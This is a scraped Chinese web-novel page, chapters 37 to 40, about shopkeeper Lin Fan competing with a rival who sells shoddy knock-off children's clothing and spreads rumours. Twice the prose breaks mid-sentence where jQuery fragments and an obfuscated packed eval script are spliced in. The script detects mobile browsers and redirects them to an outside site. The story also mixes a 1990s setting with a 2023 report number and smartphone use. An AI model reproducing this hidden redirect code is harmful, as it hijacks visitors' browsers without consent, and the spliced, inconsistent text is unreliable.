$(''#content'').append(''
,也是这么扯的。
那动作太专业,林凡心里“咯噔”一下,手里整理作业本的动作慢了下来。
油墨味飘进鼻子里,平时觉得熟悉的味道,这会儿却让人烦躁——他想起钱老西上次换他牛仔裤时,也是先派人来“踩点”,那人也是这样,翻来覆去看裤子的拉链和走线,看完没几天,他的货就被换了。
“大姐,对这衣服感兴趣?
这是自家定制的,纯棉的,孩子穿着舒服,洗了不缩水。上次有个妈妈买了,洗了五次都没变形。”
林凡上前招呼,脸上笑着,后背却已经沁出了汗,黏在的确良衬衫上,凉飕飕的——这衬衫是去年过年买的,现在袖口都有点松了,他还没舍得扔,平时只在赶集时穿。
妇女放下衣服,瞥他一眼,眼神像锥子,扎得人不舒服:
“料子还行,做工也就一般,比我上次见的差远了。多少钱?”
林凡报了价:“十五一件,童裤二十。”
妇女嗤笑一声,声音尖细得像指甲刮玻璃:“这么贵?款式也老土,就一个小口袋,没个花纹。
西头老钱家的铺子,进的童装跟你这差不多,才卖十块钱一件,裤腿上还有小熊图案呢,比你这好看多了。上次我在老钱家买过件,便宜又好看。”
“钱老西”三个字砸进林凡耳朵里,他攥着衣架的手猛地一紧,木柄上的毛刺扎进掌心,有点疼,渗出血珠。
冷汗瞬间漫了上来,顺着脊梁骨往下淌,把衬衫都浸湿了;
他最担心的事还是来了。想起三年前在夜市,钱老西雇人换他的货,他去找对方理论,钱老西坐在躺椅上,手里摇着蒲扇,眯着眼说“你有证据吗?”
还让两个伙计推搡他,他摔在地上,膝盖磕破了,流了好多血,裤子都染红了,围观的人都看着,没人敢帮他,最后只能抱着残次品蹲在路边哭,连馒头都没心思吃。
那点刚冒头的喜悦,瞬间被冷水浇得透心凉,像冬天喝了口冰井水。他强装镇定,嘴角扯出个笑,比哭还难看:“大姐,一分钱一分货。
我们的面料是新疆长绒棉,加工是红星厂的老师傅做的,上次有批纱线不好,张师傅直接扔了,成本在这儿摆着。
您要是图便宜,去别家看看也成,只是别让孩子穿了不舒服——化纤的衣服穿久了,孩子皮肤容易痒,上次有个娃穿化纤衣,后背起了一片红疹,哭了半宿。”
妇女没再说什么,扫了眼货架上的作业本和橡皮,眼神在价格标签上停了两秒,转身走了。林凡立刻让王猛跟出去,王猛踩着门口的水泥台阶,鞋底沾了片梧桐叶,一抬脚哗啦啦响。
没过十分钟,王猛脸色铁青地跑回来,攥着拳头,指节都发白了:“凡子!那女的进了钱老西的旧书铺!那老王八蛋肯定在仿咱们的货!
我还看见他铺子里堆着几捆布,跟咱们的料子有点像,就是薄多了,风一吹都透光!上次他仿别人的鞋子,也是这么堆布的!”
林凡的脸色沉了下来,他让王猛揣着十块钱,去钱老西的铺子里买件仿品,王猛去的时候,心里憋着气,回来时脸都气红了,手里攥着件浅蓝T恤,布料皱巴巴的,还沾了点灰。
两件衣服摆在一起,高下立判:仿品的布料一照就透光,一扯就变形,走线歪歪扭扭,线头吊在外面像蜘蛛网,领口用的是单股线,轻轻一拉就松了,上次林凡扯自家的领口,拉到半尺长都没松。
林凡捏着仿品,指尖能摸到里面硬邦邦的化纤丝,糙得硌手,他想起红星厂徐主任说的话,
“好棉成本高,便宜货肯定掺了化纤,至少掺40%,孩子皮肤嫩,穿久了容易起红疹”,上次有个工友的娃穿了掺化纤的衣服,真起了红疹,心里像堵了块石头,沉得慌。
果然没两天,熟客张大妈来店里,搓着手不好意思地说:
“林老板,你这T恤能便宜点不?西头老钱那儿有差不多的,才十块钱一件,我家媳妇让我来问问,说差五块呢,五块钱能买斤猪肉了,够咱全家吃一顿的。
上次我买斤猪肉,炖了锅汤,全家都爱吃。”林凡心里苦,却没法说——他的成本就四块六,钱老西的仿品成本顶多两块五,怎么降?降了就亏了,不降又怕丢了顾客。
更让他揪心的是,有天下午,一个穿工装的男人抱着孩子冲进店,孩子哭得满脸通红,脖子上一片红肿,手里攥着件钱老西家的仿品T恤。
第三十八章:风起于青萍之末
男人急得嗓门都哑了:
“林老板,你帮我看看!这衣服是不是有问题?我家娃穿了半天就痒得哭,我媳妇用肥皂洗了三遍,还是扎人!上次我在你这儿买的作业本,质量好,我以为老钱的货也靠谱,没想到坑娃!”
林凡接过仿品,凑到鼻尖闻了闻,有股刺鼻的化学味,他用指甲轻轻一扯领口,线就松了,露出里面混着的化纤丝:
“大哥,这料子掺了至少五成化纤,红星厂的棉料是没这味的,你看我这正品,洗了还有胰子的淡香。”
他取了件正品给孩子换上,孩子摸了一下胸口的笑脸布标,哭声慢慢停了,还伸手揪了揪衣角。
男人当场买了两件,说“以后再也不图便宜买老钱的货了,娃遭罪比啥都强”,后来这男人还介绍了厂里的工友来买,成了常客,每次来都要跟林凡聊两句,说“你这货实在”。
“妈的!太欺负人了!我找那老东西算账去!”
王猛气得眼睛通红,抄起门闩的动作太急,木柄撞在货架上,震得橡皮和铅笔盒哗啦啦响,玻璃罐里的水果硬糖也跟着晃,掉了两颗在地上。
他红着眼圈,喉结滚了好几下,声音都哑了:
“咱辛辛苦苦做的货,熬夜盯厂,跟师傅说好话,凭什么让他抢生意!他那货是垃圾!穿坏了孩子怎么办?我家娃上次穿化纤的,后背起了一片红疹,哭了半宿,我媳妇抱着娃哭了一夜!”
“站住!”
林凡厉声喝止,伸手拽住王猛的胳膊,指腹蹭到他胳膊上的老茧——那是王猛之前在工地搬砖磨出来的,搬一袋五十斤的水泥才赚五毛钱;
磨破了多少双手套才攒下点钱,有次手套磨破了,他的手被水泥烧得通红,还坚持搬完了最后一袋。
“你去了能怎么样?打坏了人要赔医药费,最少得两百块,上次东头老周跟人打架,赔了五百,还被派出所关了三天,派出所来了店都得关,咱们这月的房租还没交呢!这不是正好中了他的圈套?”
林凡的声音有点抖,想起王姥姥上次来店里,塞给他一篮子鸡蛋,鸡蛋还带着鸡窝的温乎气,王姥姥说
“凡子,别跟人置气,挣钱不容易,你爸妈走得早,我们就盼着你安稳”,这话像根针,扎得他心里疼。
王猛梗着脖子,把脸扭向窗外,街上自行车铃铛叮铃铃地过,卖冰棍的吆喝声“绿豆冰棍——五分一根”飘进来,衬得店里更闷,连风扇吹的风都是热的,风扇还是去年夏天买的二手货,转起来嗡嗡响,吹出来的风都带着股旧铁味。
林凡深吸一口气,强迫自己冷静。
他拿起仿品,指尖捻着稀薄的布料,突然想起小时候看爷爷修锄头——断了的木柄用铁丝缠紧还能用,只要肯想办法,总有出路。
上次爷爷修坏了的犁,别人都说扔了,爷爷却用木头补了补,还能用好几年。心里那点堵得慌的感觉慢慢散了,换成一股硬邦邦的劲。
“他打价格战,咱不能跟着打。咱的优势是质量和服务,他仿得了样子,仿不了料子,仿不了咱对孩子的心思。”
他沉声道,
“猛子,你去巷口找李木匠,要块两米长、二十厘米宽的泡桐木板——泡桐木轻,挂着方便,还不重,上次李木匠给人做招牌,用的就是泡桐木,说‘这木头像样,还不贵’。
用朱砂红的漆写字,写‘郑重声明:
本店“笑笑”牌童装,采用新疆优质长绒棉,红星纺织厂定点精工制作,每厘米八针锁边,无化纤无荧光剂,谨防劣质仿冒,勿因价低忽视孩童健康’,就挂在店门口最显眼的地方,让路过的人都看见!上次有个顾客说,看见声明才敢买,怕买着仿品。”
说完他又想起布标,立刻摸出通讯录——那本子封面都磨破了,是去年开学时进的笔记本,没卖完自己用了,里面记着作坊的电话,还有红星厂徐主任的传呼号,传呼号他背了好几遍,就怕忘了。
他跑到巷口的公用电话亭,投了个硬币,硬币“叮”的一声落进去,拨通了巷尾刺绣坊刘姐的电话,特意叮嘱:
“刘姐,能不能加急?布标用双层棉线,笑脸的针脚密点,每毫米两针,别让人家轻易仿了去,我多给你加五块钱加工费。上次你给我绣的字,特别好,别人都夸。”
挂了电话,他又骑着自行车去市区找徐主任,自行车骑得飞快,风吹得的确良衬衫贴在背上,汗湿了一大片,连裤脚都沾了尘土,路上还差点被一辆拖拉机蹭到,拖拉机“突突”响,吓得他赶紧捏紧车闸,车轮在地上擦出道黑印。
徐主任的办公室在红星厂的二楼,墙上挂着“1995年先进车间”的奖状,边角有点卷,是去年车间得的,徐主任说“这奖状是大家伙儿的功劳”。
桌上摆着个搪瓷缸,印着“劳动模范”四个字,缸沿有个小缺口,是徐主任年轻时得的,用了十几年了,里面还泡着菊花茶,飘着几朵干花。
徐主任听了林凡的想法,拍着他的肩膀笑:“你这小子,脑子转得快,比我家那混小子强多了。咱红星厂虽然效益差,但不能砸了质量的牌子。
上次有个个体户来订布,想掺点化纤,我直接拒了,说‘咱红星厂的布,不能掺假’。我让车间在袖口加个小太阳刺绣,直径一厘米,针脚密点,仿起来费劲,再给你盖个‘红星定制’的红章,印在吊牌背面,别人仿不了,这章是车间的公章,只有我能盖,上次给别的个体户盖章,我都没同意。”
回店的路上,林凡骑着车,看着路边的梧桐叶飘落在柏油路上,被风吹得打旋。突然想起周边的乡镇集市——
清水县有五个乡镇,每个月逢五逢十赶集,比如柳溪乡的集市,能有上千人,摆摊的都抢着占位置,卖童装的却很少,大多是卖农资和小吃的。
小时候跟着妈妈去赶集,摆摊的张阿姨卖的小衣服特别受欢迎,因为她会给孩子试穿,还帮着改尺寸,不管买不买,都给孩子递颗糖,上次妈妈还跟他说“张阿姨的生意好,是因为实在”。
他心里一动:或许可以让王猛去赶集,开辟第二战场——集市上的人更认实在货,钱老西的仿品一对比就露馅,而且乡镇上没有百货大楼,杂牌童装多,“笑笑牌”的质量能突出优势。
王猛第一次去柳溪乡集市,天没亮就骑着三轮车出发,三轮车“吱呀”响,他蹬得满头汗,额头上的汗滴在车把上,他用袖子擦了擦,继续蹬。
车上堆着五十件童装,用塑料布盖着,怕露水打湿,旁边放着红星厂的质检报告,用塑料袋装着,还有两斤水果糖,是林凡买的“水果硬糖”,一毛钱三颗,糖纸透明,印着苹果图案。
到柳溪乡集市时,天才蒙蒙亮,他找了个靠近路口的位置,刚把塑料布掀开,就有股棉香飘出来,引着人过来。
刚摆开摊子,就有个挎着竹篮的刘奶奶凑过来,竹篮里装着刚摘的豆角,沾着露水,绿油油的,刘奶奶说“这豆角是自家种的,新鲜,中午炒肉吃”。
她指着童装问:“这布软和不?我家孙娃穿化纤的总哭,上次在镇上买的,洗一次就缩成肚兜了,孙娃穿不了,只能扔了,心疼得我好几天没睡好。”
王猛赶紧拿起件浅蓝T恤,让旁边路过的小娃试穿——那娃是摊主家的,光着膀子,浑身是汗,皮肤晒得黝黑,摊主说“让娃试试,要是好,我也买一件”。
小娃穿上T恤,手在身上蹭来蹭去,咧嘴笑:“奶奶,不扎!比我那件舒服!我那件穿了痒,妈妈总给我挠,都挠红了!”
刘奶奶当场买了两件,还喊来旁边卖鸡蛋的张婶,张婶家双胞胎试穿后,一口气买了四件,说“这料子好,比镇上的强多了,娃穿得舒服比啥都强”。
那天王猛不仅卖光了五十件,还记下了二十多个预订的名字,回来时三轮车筐里装满了乡邻送的豆角、鸡蛋,他攥着皱巴巴的零钱,跟林凡说:
“凡子,咱这货在乡下太好卖了!那老钱的仿品根本没人要,有个大叔拿老钱的货来比,一摸就说‘这是糊弄人的’,当场就买了咱两件!”
还有县城里几家关系不错的小卖部,比如东关的“惠民小卖部”、西关的“家佳乐”;“惠民小卖部”的老板是林凡的初中同学张强;
之前林凡帮他修过收音机,那收音机是张强他爹留下的,坏了好几年,林凡琢磨了两天,换了个零件才修好,张强说“你这情我记着”;
“家佳乐”的老板娘跟王猛的媳妇是远房亲戚,上次王猛媳妇生孩子,老板娘还来送了鸡蛋和红糖,说“产妇得补补”。
林凡想,能不能跟他们搞代销?卖出去一件给他们提一块五,这样既能扩大销路,还不用自己压货,风险小。
“惠民小卖部”的老板张强,开张第一天就出了个小插曲——有个穿碎花裙的年轻妈妈,手里捏着十块钱,本来是去钱老西家买仿品的;
路过张强的店,看见挂着的“笑笑牌”童装和墙上贴的红星厂质检报告,停下脚问:“这真是红星厂做的?我家娃穿化纤的总起疹子,上次穿化纤衣,疹子半个月才好,去医院花了二十多块。”
张强赶紧拿出林凡给的样品,让她摸:“我老同学亲自盯的厂,你看这针脚,每厘米八针,老钱那货我见过,针脚稀得能透光,上次我去老钱家,看见他的布都是粗布,还沾着灰。”
年轻妈妈当场加了五块钱,买了件米白T恤,第二天又带了两个同事来,说“娃穿了一夜没挠,比之前买的都软,值了”。
不到一周,张强的小卖部就卖了三十多件,他给林凡打电话时,声音都透着笑:
“凡子,你这货救了我的店!之前我这小卖部就靠卖酱油醋撑着,现在天天有人来问童装,连带着酱油都多卖了好几瓶,上次一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607504|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天卖了十瓶酱油,比平时多卖了一半!”
晚上店里关了门,台灯钨丝滋滋跳了一下,暖黄的光落在笔记本上,把字照得暖暖的。
林凡握着钢笔——是“英雄616”,他用了三年,笔尖有点秃,写起字来却很顺手,上次笔尖坏了,他自己用钳子夹了夹,还能用;
笔尖划过纸页,沙沙声混着窗外的蝉鸣,蝉声嘶嘶的,是夏天快结束的声音。他把应对策略一条一条写下来:
加印“红星定制”吊牌,袖口绣小太阳刺绣,吊牌背面盖红星厂车间公章;上次有顾客说,看见公章才放心,觉得是正品,不会买着仿品。
王猛每周去两个乡镇赶集(柳溪乡逢五、清溪乡逢十),带样品和红星厂徐主任开的质检报告(证明是100%纯棉),再带点小糖果,给试穿的孩子;
这次柳溪乡卖得好,下次多带点货,再加点童裤。联系“惠民”“家佳乐”等三家小卖部搞代销,签订单,约定卖不出去可退货,每件提成1.5元;张强的店卖得好,再跟其他店说说,扩大销路。
店里搞“买二送一”活动,送小袜子(五毛钱一双批发的,质量过关,不硌脚);上次有顾客说,送袜子很划算,一下买了四件,还介绍了朋友来。
字迹遒劲,没了白天的慌乱,连笔画都稳了。写完后,他又读了一遍,觉得没问题,才把笔记本合上。笑笑光着脚跑过来,小脚丫踩在水泥地上,有点凉,她跑得飞快,小裙子飘起来,像朵小花儿。
她跑到林凡身边,小手软乎乎的,带着刚吃过钙奶饼干的甜腻味,蹭过林凡紧绷的下颌线:
“爸爸,你皱眉头不好看,像爷爷的老锄头,锄头上有皱纹。爷爷的锄头用了好多年,上面有好多印子,爸爸别像锄头。”
林凡放下笔,抱起女儿,脸埋在她的小肩膀上,能闻到她头发上的奶香,混着点汗味,是最踏实的味道,比布料的棉香还让人安心。
他轻轻拍着她的后背,指尖蹭过她后脑勺的胎发,糙糙的,像刚长出来的小草:“爸爸没有不开心。爸爸只是在想,怎么保护好笑笑和咱们的小店,让笑笑以后能穿自己家做的衣服,不用买别人的,还能让别的小朋友也穿得舒服。
上次那个穿红衣服的小朋友,穿了咱们的衣服,还跟笑笑说‘真舒服’呢,你忘了?”笑笑用小手摸着他的脸,从口袋里掏出颗水果硬糖——
是店里卖的“水果糖”,一毛钱三颗,糖纸是透明的,印着苹果图案——糖纸沙沙响:“爸爸吃糖,吃了糖就不难过了。
上次我摔疼了,王猛叔叔给我吃糖,就不疼了。叔叔说糖是甜的,能让人开心。”林凡把糖含在嘴里,甜意慢慢化开,是橘子味的,压下了心里的涩,连喉咙都舒服多了。
窗外的路灯亮了,昏黄的光透过木框窗户照进来,落在堆在角落的作业本上。
林凡把笔记本放进抽屉里,抽屉里还放着姥姥离开前塞给他的二十块钱,他没舍得花,压在最底下,每次看到这钱,就想起姥姥的话。
他走到门口,锁上门,门闩插上时“咔嗒”一声,街上的声音淡了点,只有卖夜宵的吆喝声隐约传来:
“馄饨——两**一碗——”卖馄饨的张大爷,每天晚上都来,馄饨包得大,馅也足,汤里还撒点葱花,上次林凡吃了一碗,暖得胃里舒服极了。
商海的风浪已经起了,
吹得他这艘小破船晃了晃。
这船不大,
装着“晨光文具店”的红漆招牌(是他自己写的,漆掉了点,他补了两次,第一次补的漆颜色有点浅,第二次才调好,现在看着鲜亮);
装着笑笑的笑声(每天早上笑笑都会在店里唱儿歌,跑调却好听,上次唱《小星星》,还把“亮晶晶”唱成了“亮晶京”,逗得王猛直笑);
装着王猛的信任(王猛说“凡子,我信你,你指哪儿我打哪儿,就算赔了,我跟你一起扛,上次你说要做童装,我立马就把攒的两百块拿出来了”);
还有姥姥的期望(姥姥说“咱家就靠你了,你踏实,准能成,你爸妈要是在,也会为你骄傲”)。他不能让船翻了,哪怕风浪再大,他也要掌好舵,把船划向稳当的地方。
与钱老西的这场战争,才刚刚开始。
巷尾的梧桐叶又落了一片,飘在店门口的青石板上,叶面上的纹路清晰,像刻着日子。
林凡弯腰捡起叶子,指尖摸着叶脉,心里那条路也越来越清晰——
这条路有坑,有钱老西的刁难,有卖不出货的慌,但也有笑笑的笑声,王猛的信任,姥姥的期望;
还有顾客说“娃穿得舒服”时的满足。
他把叶子夹在笔记本里,像夹了片小小的希望。
夜风轻轻吹过,带着点槐树叶的清香,
吹得店门口的铁皮铃铛叮铃响,像在为这场没有硝烟的战争,奏起了前奏。
第三十九章:童装的品质执念
店门口那块老杨木“郑重声明”牌,是林凡前儿个从城郊老杨木匠的作坊里淘来的宝贝。
老杨木匠守着那间漏风的青砖房做了三十年老木活,手里的料全是拆老宅子攒下的;
这块杨木原是上世纪八十年代某户人家的房梁,经历过三十多年的风吹日晒,木质紧实得像块铁疙瘩,横截面的纹理粗粝交错,像刻满了时光的年轮。
当初林凡一眼相中它,就是因为边角那几道细密的裂纹:“老木才有这股子踏实劲,裂纹磨平了,反而显温润。”
回家后,林凡把木牌架在院里的石桌上,从工具箱里翻出砂纸,从80目到200目,一层层细细打磨。
80目的粗砂纸先磨掉裂纹边缘的毛边,木糠簌簌落在石桌上,混着阳光里的浮尘;换120目的砂纸时,他特意顺着木纹的方向擦,让沟壑里的碎木渣也无处藏身;
最后用200目的细砂纸收光,磨到手腕发酸,指尖沾着浅褐色的木粉,再蹭木头时,只剩绸缎般的温润触感,连裂纹都成了淡淡的浅痕。
牌上的字是他用老街墨坊的朱砂墨写的。那墨坊的掌柜是安徽人,祖传的制墨手艺,朱砂是从湘西采来的,磨出来的墨红得发亮。
调墨时,林凡特意加了一小勺桃胶——这是巷口老裁缝教他的诀窍:“桃胶熬化了掺墨里,墨迹能锁在木头上,刮风下雨都不晕。”
他用狼毫笔蘸着墨,一笔一画写得极慢,“笑笑牌童装只用新疆长绒棉,拒绝回收布料,每件均有专属绣标防伪”这行字,每个笔画都透着股认真劲,等墨迹干透,木牌上泛着暗红宝石般的光泽,风一吹,连个墨点都没晃下来
。
这新疆长绒棉,确实不是寻常棉花能比的。林凡为了摸清它的底细,特意托在新疆阿克苏棉区种棉的朋友寄了资料,还跑了三趟市里的纺织研究所。
资料上写得明明白白:
阿克苏棉区位于天山南麓,每年的日照时长能达到2800-3000小时,比长江流域棉区多800小时,昼夜温差又大,棉纤维能攒足养分,长度普遍在36-38毫米,比普通陆地棉长出整整三分之一。
前一个月他在看电视的时候,看到了广东省纺织产品质量监督检验研究院在关于布匹的棉花质量对比检测报告:
新疆长绒棉的断裂强度是3.8cN/tex,比普通棉花高出15%,就算孩子穿着衣服扯拽也不容易破;
吸湿性更不用说,把同样重量的棉花泡在水里,新疆长绒棉能吸收自身重量1.2倍的水分,普通棉花只能吸0.8倍——
这对孩子来说太重要了,出汗后衣服能快速吸汗,就不容易着凉。林凡特意把报告复印了两份,一份压在柜台的玻璃板下,另一份塑封好挂在收银台旁,就是为了让顾客看得明明白白。
木板刚往门楣上挂好,就像颗石子投进了县城商业街的静水。不到三分钟,店门口就围拢了七八个人。
卖菜的张婶拎着半篮子沾着露水的小白菜,菜叶子上还挂着水珠,她踮着脚凑上前,粗糙的手指轻轻抚过店里挂着的浅粉色样品外套。
那面料摸上去软乎乎的,像揉着刚晒过太阳的云朵,指尖能感受到棉纤维的蓬松,里子是浅白色的精梳棉布,缝边都用细棉线细细包了边,连针脚都排得整整齐齐——
林凡特意从苏州学的苏式童装工艺,讲究“密缝细锁”,一寸布要缝八针,比普通童装的六针多两针,这样洗再多次,缝边也不会开线。
张婶摸着面料,忍不住咂嘴:“你看这针脚多密实!
前几天我给孙子在钱老西那买了件浅蓝外套,花了五块钱,结果洗一次领口就卷得像朵蔫菊花,袖口的线还崩开了;
里面露出来的棉絮灰扑扑的,掺着好多碎线头,我孙子穿了两天,胳膊上就起了小红疹子,去卫生院看,医生说是布料刺激的!跟你这比,差得可不是一星半点!”
人群里站着个穿藏青夹克的年轻人,是隔壁修车铺的小周,他闻言撇了撇嘴,从裤兜里掏出个掉了漆的摩托罗拉BP机,按了下侧面的按键,屏幕亮起显示着两条未读信息——
是他女朋友催他去买酱油。他没看信息,反倒把BP机揣回去,手往口袋里一插:“商家不都这样吹?
上月我在市里百货大楼买了双‘真皮’皮鞋,店家拍着胸脯说是头层牛皮,结果穿半个月鞋头就裂了缝,去找他们,人家还说我穿得太费!他说用新疆长绒棉,谁知道是不是掺了碎棉絮?
还搞个专属绣标,说不定是从批发市场批的现成货,就是为了把价抬上去,好坑咱们这些老百姓!”
他刚说完,旁边卖水果的刘叔就瞪了他一眼,刘叔的摊子就在林凡店斜对面,天天看着林凡进货、做衣服,最清楚他的实诚:
“小周你这话不对!林凡这孩子心眼实,前阵子我给孙女买小外套,想挑件厚实的,他怕我看不清里面的棉絮,特意找了把小剪刀,拆开衣角让我看——
那棉絮白得发亮,一丝杂质都没有,用手扯能看见长长的纤维,哪像钱老西那货?上次我去他店里,想摸件衣服的里子,他死活不让,说‘摸脏了卖不出去’,现在想想,肯定是里面的棉絮见不得人!”
钱老西的反击来得比林凡预想中快得多。
第二天一早,林凡刚把店门推开,一股冷风裹着嘈杂的声音就灌了进来——
对面钱老西的店门口,立着块用硬纸板做的标价牌,原本写着“童装两块五一件”的“五”字,被白色涂改液盖得严严实实,上面又用红马克笔歪歪扭扭写了“四**五”,字缝里还溅着黑墨水,像块补丁似的扎眼。
懂行的人都知道,这价格根本不现实——
一件童装光是面料就要用半米布,新疆长绒棉的布料批发价是六块钱一米,加上线、扣子和人工,成本至少要四块钱,四**五连块布料的零头都不够。
明眼人一看就知道,钱老西是想靠低价噱头拉顾客,再用劣质货蒙人。
更闹人的是,钱老西从废品站淘了个老式卡式录音机,米黄色的塑料外壳掉了块漆,露出里面锈迹斑斑的铁皮,电源线是用黑胶带缠过的,接得歪歪扭扭。
他找了半块砖头,把录音机垫在门口的台阶上,里面放着他侄子的录音——
那孩子前几天感冒,嗓子哑得像砂纸磨木头,录音里除了
“江南新款童装,两块四**五一件,比棉花还便宜,走过路过别错过!”
的吆喝,还混着断断续续的咳嗽声,音量开得极大,震得隔壁修鞋铺的白铁皮招牌嗡嗡响。
那招牌是老王去年秋天新做的,上面用红漆写的“老王修鞋”四个字,边缘还卷了圈小花纹,挂招牌的铁丝本来就有点松;
这会儿被震得来回晃,老王正低头给一双皮鞋钉掌,手里的锤子刚举起来,就被招牌的晃动分了神,锤子“哐当”一声掉在地上,差点砸到脚。
老王把锤子往工具箱里一扔,烟叼在嘴角,皱着眉走过去敲钱老西的木板门。那门掉了好几块漆,露出里面发黑的朽木,敲上去“空空”响。
老王敲了三下,钱老西才从里面探出头——
头发乱糟糟的像鸡窝,沾着几根棉絮,穿件灰扑扑的衬衫,是前年的旧款,袖口磨破了边,领口还沾着点酱油渍,最上面的扣子扣错了,扣到了第二颗扣眼里,显得邋遢又滑稽。
“你这音箱能不能关小点?**活都没法干了!”
老王的声音带着火气,烟蒂从嘴角掉下来,他赶紧用脚踩灭。钱老西却叼着根烟,慢悠悠吐了个烟圈,直喷到老王脸上:
“我乐意!这是我家门口,我爱开多大声开多大声,你管得着吗?”
老王气得胡子都翘起来了,手指着钱老西,半天说不出话——
他知道钱老西的德性,跟他吵只会白费力气,只能跺着脚回了修鞋铺,嘴里嘟囔:
“这钱老西,真是越来越没规矩!迟早得栽跟头!”
更下作的是,钱老西还指使帮工二柱子去菜市场散播流言。二柱子是个十六七岁的小伙子,家在乡下,因为家里穷,早早出来打工,钱老西每个月给他三百块钱,他就啥都听钱老西的。
那天早上,二柱子穿件洗得发白的蓝布褂子,手里攥着钱老西给的五块钱——说是“跑腿费”,见人就凑上去说闲话。
李姐拎着竹篮子刚买了把菠菜,正要去买豆腐,就被二柱子拉住胳膊:
“李姐,你可别去林凡那买童装!我昨天听钱老板说,林凡用的布是从县医院收的旧纱布翻新的,那些纱布之前裹过病人,上面全是细菌,都没消毒!
我邻居家小孩之前就穿了这种衣服,痒得半夜哭,胳膊上还起了红疹子,去医院花了好几百才治好!”
李姐一听,脸都白了,手里的菠菜差点掉在地上——
她前几天还跟儿媳妇说,要去林凡店里给孙女买件米白色的小外套,现在听二柱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607505|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子这么说,心里顿时慌了:
“真的假的?我还打算今天就去买呢!”
二柱子使劲点头,眼神却有点闪躲:
“真的!钱老板亲眼看见林凡从医院拉回一袋子旧纱布,还说要去工商所举报他呢!”说完,他怕李姐再问,赶紧跑去跟卖豆腐的张叔说了同样的话。
有顾客信了这话,拎着布包就冲进了林凡的店。来的是赵姐,三十多岁,家住在东街,之前给儿子买过林凡的童装,觉得质量好,这次本来想再买两件。
她脸上带着急色,一进门就直奔挂在衣架上的童装,翻来覆去地找标签——
那标签是林凡自己设计的,浅灰色的棉布上,用蓝色的线绣着“笑笑牌”和一个小太阳图案,太阳的中心还藏着个小小的“林”字暗纹。
这暗纹是他特意请苏州的陈绣娘教的双面绣法,陈绣娘做了二十年双面绣,说这“林”字要用细如发丝的绣线,一针一针绣三小时才能完成,仿冒的话,暗纹会模糊不清,一看就能分辨。
“老板,我听说你这衣服用的是旧纱布,真的假的?”
赵姐的声音有点发颤,手里攥着一件浅粉色的童装,
“我给我闺女买,她皮肤嫩,可不能出事啊!”
林凡赶紧放下手里的布料——那是刚到的新疆长绒棉面料,还带着淡淡的棉絮香,他拿过赵姐手里的童装,找了把小剪刀,轻轻挑开衣角的缝边,露出里面的棉纤维。
那些棉纤维又白又软,在晨光下泛着丝绸般的光泽,用手捻一捻,能感受到明显的蓬松感。
“大姐,你看这棉絮,多干净多白。回收棉都是发黄发黑的,还会有碎线头、灰尘,甚至有小石子。
去年省质检局抽检县城里的童装,回收棉的纤维长度普遍不足25毫米,一扯就断,而我用的新疆的棉花,纤维长度都在36毫米以上,你看——”
林凡说着,用手指捏住棉絮的两端轻轻一扯,棉纤维被拉得长长的,却没断,“这样的棉絮,怎么可能是旧纱布翻新的?”
他又从柜台底下拿出一个铁盒子,里面放着新疆供货商提供的原棉样本,还有省质检局的抽检报告,报告编号是“XJ2023-0876”,上面清清楚楚写着:
“笑笑牌童装所用水洗棉,经检测,棉纤维长度36.2毫米,断裂强度3.7cN/tex,无异味,无甲醛、重金属等有害化学物质,符合GB/T39853-2021《婴幼儿及儿童纺织产品安全技术规范》要求。”
“你要是不放心,咱们现在就去工商所,让他们找专业机构检测,要是验出来有问题,我赔你十倍的钱,再把店里的衣服全捐了!”
林凡的话说得斩钉截铁。赵姐凑近仔细看了看棉絮,又拿起报告翻了翻,还掏出手机,照着报告上的编号查了省质检局的官网,确认报告是真的,脸色才慢慢缓和下来,小声说:
“那我就放心了,刚才在菜市场听二柱子说,我还吓了一跳,差点就去钱老西那买了。”
这种伎俩让王猛气得攥紧了拳头,指节都泛了白。
王猛是知道林凡的辛苦,最受不了别人的诬陷,他和林凡对这店,对这个生意,完全倾注了所有的感情和精力,现在居然还有人这么来诬陷他们。
刚才他在店里整理货架,听见外面钱老西的录音机响得震天响,又听来买衣服的阿姨说菜市场的流言,一下子就火了,抄起门口的拖把——
那拖把是木柄的,拖把头是旧布条扎的,上面还沾着点没洗干净的灰尘——就要冲出去找钱老西理论。
林凡赶紧从后面拽住他的胳膊,林凡的手劲不小,常年搬布料、缝衣服,让他的指节有点粗,拽得王猛的胳膊都红了一块。
“猛子,你先冷静!”
林凡的眉头皱得紧紧的,眼神冷得像冬天的冰碴子,声音压得很低,怕被外面的人听见,“他现在就是想逼咱们动手——
去年城南的家具店就吃过这亏,两家老板因为价格吵起来,其中一家老板推了对方一把,结果对方直接躺地上喊‘**了’,周围人一围,拍了视频发出去,工商所来了之后;
各打五十大板,两家都被罚款五千,还停业整顿了一周,最后生意都做不下去了。
你要是跟他吵起来,他再往地上一躺,说咱们欺负人;
就算咱们占理,传出去也不好听,
工商所来了也得让咱们赔礼道歉,到时候咱们这店还开不开?”
第四十章:儿童衣的匠心
王猛喘着粗气,胸口一起一伏的,眼睛死死盯着对面——
钱老西正坐在门口的小马扎上,跷着二郎腿,穿双露趾的塑料拖鞋,脚趾缝里还沾着泥,脚边扔了好几个烟蒂;
手里夹着根烟,还故意往王猛这边瞥了一眼,嘴角撇着,一脸得意,那眼神像是在说“有本事你过来”。
